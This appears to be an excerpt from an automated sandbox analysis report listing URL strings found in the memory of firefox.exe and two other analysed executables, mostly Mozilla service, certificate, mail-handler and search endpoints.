Source: firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%s
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%shttps://poczta.interia.pl/mh/?mailto=%shttp://win.ma
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://compose.mail.yahoo.co.jp/ym/Compose?To=%ss
Source: firefox.exe, 0000001E.00000002.3071808582.00000270DB742000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3103512040.00000270E3DAB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3096588402.00000270E2065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3100479236.00000270E2312000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E2166000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com
Source: firefox.exe, 0000001E.00000002.3100681543.00000270E234C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/
Source: firefox.exe, 0000001E.00000002.3097214328.00000270E2132000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3096588402.00000270E2065000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3083929588.00000270DCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.html
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/canonical.htmlACTIVITY_SUBTYPE_REQUEST_BODY_SENT_startDetection/urlF
Source: firefox.exe, 0000001E.00000003.2998160641.00000270E41EB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3083929588.00000270DCB03000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv4
Source: firefox.exe, 0000001E.00000003.2998160641.00000270E41EB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://detectportal.firefox.com/success.txt?ipv6
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.addEventListenerFailed
Source: firefox.exe, 0000001E.00000002.3045499741.00000270D81B0000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: http://developer.mozilla.org/en/docs/DOM:element.removeEventListenerThe
Source: firefox.exe, 0000001E.00000002.3032836106.00000270D618A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/common
Source: firefox.exe, 0000001E.00000002.3032836106.00000270D618A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/math
Source: firefox.exe, 0000001E.00000002.3032836106.00000270D618A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://exslt.org/sets
Source: firefox.exe, 0000001E.00000002.3105353259.00000270E4012000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3071145346.00000270DB5D9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3033402856.00000270D62A8000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3105353259.00000270E4024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3104091280.00000270E3FF0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E2238000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3085513675.00000270DDAF7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3042238317.00000270D7CFB000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3104091280.00000270E3FD5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974682541.00000270DB6EC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3009455777.00000270E4061000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB0C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB42000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2975074362.00000270DB6CE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3080838293.00000270DC8CD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3085513675.00000270DDAAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3080838293.00000270DC87E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3020902581.00000270DC805000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3055070997.00000270DA603000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2985790168.00000270E440E000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3071509681.00000270DB6EC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://mozilla.org/MPL/2.0/.
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 00000017.00000000.2762168634.0000000000B81000.00000080.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000000.2937508935.0000000000B81000.00000080.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 00000017.00000000.2762168634.0000000000B81000.00000080.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000000.2937508935.0000000000B81000.00000080.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: bdb44f72d9.exe, 00000017.00000002.3246133657.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 00000017.00000000.2762168634.0000000000B81000.00000080.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000002.3245573967.00000000008DC000.00000040.00000001.01000000.00000011.sdmp, bdb44f72d9.exe, 0000001B.00000000.2937508935.0000000000B81000.00000080.00000001.01000000.00000011.sdmp	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%s
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://poczta.interia.pl/mh/?mailto=%sw
Source: firefox.exe, 0000001E.00000002.3085513675.00000270DDAAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0.
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4075000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.i.lencr.org/0W
Source: firefox.exe, 0000001E.00000002.3085513675.00000270DDAAA000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3105629754.00000270E4075000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3087332031.00000270DDB31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://r3.o.lencr.org0
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://win.mail.ru/cgi-bin/sentmsg?mailto=%sy
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2974249356.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3043752217.00000270D7EDE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%s
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA1C0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.inbox.lv/rfc2368/?value=%su
Source: file.exe, file.exe, 00000000.00000002.2401826383.000000006C61D000.00000002.00000001.01000000.00000008.sdmp	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-update
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatePREF_APP_UPDATE_BACKGROUNDMAXERRORSapp.update.checkOnlyInstanc
Source: firefox.exe, 0000001E.00000002.3108461657.00000270E4380000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/2005/app-updatex
Source: firefox.exe, 0000001E.00000002.3081525186.00000270DC960000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3078302717.00000270DC78F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3081525186.00000270DC903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3077664321.00000270DC668000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D27000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3047918500.00000270D8B83000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3058796603.00000270DA903000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.3000078726.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3058796603.00000270DA956000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DAD000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DE7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3058796603.00000270DA971000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067377430.00000270DAF67000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D9A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3081525186.00000270DC991000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DA7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul
Source: firefox.exe, 0000001E.00000002.3081525186.00000270DC960000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul5G
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://browser/content/parent/ext-chr
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://extensions/content/schemas/ide
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulchrome://global/content/elements/browse
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulconnectedCallback/this._mutationObserve
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6DAD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulhttp://www.mozilla.org/keymaster/gateke
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xulresource://gre/modules/DownloadIntegrat
Source: file.exe, 00000000.00000002.2391758530.000000001CBA7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2401548515.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: firefox.exe, 0000001E.00000002.3069796496.00000270DB2B0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.youtube.com/
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4075000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E2247000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DAD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E4075000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E2247000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DAD33000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.malware-error.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-error.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://%LOCALE%.phish-report.mozilla.com/?url=
Source: firefox.exe, 0000001E.00000003.2966388903.00000270DA66B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965350403.00000270DA400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965635133.00000270DA61C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966671923.00000270DA683000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3100479236.00000270E2312000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.duckduckgo.com/ac/INHIBIT_PERSISTENT_CACHINGLOAD_ANONYMOUS_ALLOW_CLIENT_CERTget
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.ca
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://account.bellmedia.cagetLocalizedFragment/partIndex
Source: firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.com/settings/clients
Source: firefox.exe, 0000001E.00000002.3105629754.00000270E40C7000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://accounts.firefox.comK
Source: firefox.exe, 0000001E.00000002.3047918500.00000270D8B4C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000026.00000002.3388160352.0000027742E52000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/language-tools/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search-engines/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/search?q=%TERMS%&platform=%OS%&appver=%VERSION%
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://addons.mozilla.org/%LOCALE%/firefox/themes
Source: firefox.exe, 0000001E.00000002.3060815323.00000270DADB7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3067558634.00000270DB024000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF10000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF08000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3060815323.00000270DADD3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ads.stickyadstv.com/firefox-etp
Source: firefox.exe, 0000001E.00000002.3114150940.00001A176F100000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113615943.00000EEEADD04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3098800866.00000270E226E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allegro.pl/
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3113713962.00001252B7304000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://amazon.com
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://api.accounts.firefox.com/v1
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/app/firefox-private-safe-browser/id989804926
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://apps.apple.com/us/app/firefox-private-network-vpn/id1489407738
Source: firefox.exe, 0000001E.00000002.3097214328.00000270E2132000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/GMP/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%OS_VER
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/3/SystemAddons/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/%PRODUCT%/%VERSION%/%BUILD_ID%/%BUILD_TARGET%/%LOCALE%/%CHANNEL%/%
Source: firefox.exe, 0000001E.00000002.3031269537.00000270C9B6B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3036698382.00000270D6D03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3097214328.00000270E2173000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aus5.mozilla.org/update/6/Firefox/118.0.1/20230927232528/WINNT_x86_64-msvc-x64/en-US/release
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://blocked.cdn.mozilla.net/%blockID%.html
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696425136400800000.2&ci=1696425136743.
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696425136400800000.1&ci=1696425136743.12791&cta
Source: firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1539075
Source: firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1584464
Source: firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1607439
Source: firefox.exe, 0000001E.00000003.3009281847.00000270E40E4000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3066978967.00000270DAF1B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://bugzilla.mozilla.org/show_bug.cgi?id=1616739
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f
Source: firefox.exe, 0000001E.00000002.3036698382.00000270D6D7B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965350403.00000270DA400000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965635133.00000270DA61C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2965901975.00000270DA636000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966671923.00000270DA683000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3045412001.00000270D8120000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000003.2966157719.00000270DA650000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://completion.amazon.com/search/complete?q=
Source: firefox.exe, 0000001E.00000002.3100681543.00000270E233A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net
Source: firefox.exe, 0000001E.00000003.3011652184.00000270E2344000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3033402856.00000270D62FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://content-signature-2.cdn.mozilla.net/chains/remote-settings.content-signature.mozilla.org-202
Source: firefox.exe, 0000001E.00000002.3041771993.00000270D7A90000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://content.cdn.mozilla.net
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: firefox.exe, 0000001E.00000002.3049538912.00000270DA12A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36
Source: file.exe, 00000000.00000002.2382069321.00000000024FD000.00000004.00000020.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA15F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3049538912.00000270DA18F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.3032836106.00000270D61AD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/u1AuJcj32cbVUf9NjMipLXEYwu2uFIt4lsj-ccwVqEs.36904.jpg
